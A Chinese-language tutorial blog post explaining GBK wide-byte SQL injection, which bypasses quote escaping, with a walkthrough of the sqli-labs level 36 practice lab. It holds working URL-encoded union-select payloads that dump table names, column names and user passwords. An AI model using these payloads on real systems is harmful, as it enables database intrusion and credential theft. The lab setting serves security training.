作者 :Yuppie001
作者主页 : 传送
本文专栏 :Web漏洞篇
🌟🌟🌟🌟🌟🌟🌟🌟
一.宽字节注入
1.什么是宽字节?
计算机底层由二进制存储数据,不同的编码映射着不同的二进制数据,我们以8位二进制为单字节,也称标准字节。宽字节指比标准字节有更多的字节
常见的单字节编码:ASCII
常见的宽字节编码:GB2312,GBK,GB18030,BIG5等
以GBK为例,它以2个字节进行编码
2.宽字节注入原理
这里我们以GBK的宽字节注入为例子。
在有了动态sql语句,和用户可控制的参数的常见sql注入前提下还有另外两个前提
前提1:
mysql数据库使用GBK编码,此时表中的数据将会以GBK的编码进行存储和识别,这为后期进行宽字节注入打下基础。
前提2:
服务端对用户输入的敏感数据进行了转义,如利用mysql_real_escape_string()等函数,它会对用户输入的/?id=1’转换为/?id=1\',这样的目的是为了防止sql注入构造闭合.
这时我们可以利用宽字节注入来进行绕过,在/?id=1’里加上/?id=1%84’,当这串数据传送至数据库时(此时id=1%84\'),由于使用的GBK编码,它是2个字节的编码,所以它会将’%84\‘解析为’刓’,此时成功构成闭合,下面就利用常规的注入手法进行sql注入
提问:为什么%84’会被解析为’刓‘
因为url编码为%84是两个16进制,为一个字节,\同样为一个字节(php默认传递为utf-8编码),sql语句传递到数据库后,由于数据库为gnk编码,此时它以gbk编码的标准来进行解析,所以被解析为了刓。
另外补充知识,可以参考一下这个博主写的一些:
二.sqli-labs-36关
下面以这个实例进行讲解:
输入id=1可正常回显数据
输入分号正常返回,没有报错,查看提示后发现分号被进行了转义
分号前加上%83进行宽字节注入,成功报错,说明sql语句以分号进行闭合。
绕过后就可以进行正常的sql注入攻击了
?id=-1%83%27%20union%20select%201,database(),3%20--+
?id=-1%83%27%20union%20select%201,group_concat(table_name),3%20from%20information_schema.tables%20where%20table_schema=database()--+ 爆表
?id=-1%83%27%20union%20select%201,group_concat(column_name),3%20from%20information_schema.columns%20where%20table_schema=database() and table_name=0x7573657273--+ 爆字段
?id=-1%83%27%20union%20select%201,group_concat(password,username),3%20from%20users--+
成功爆出用户密码: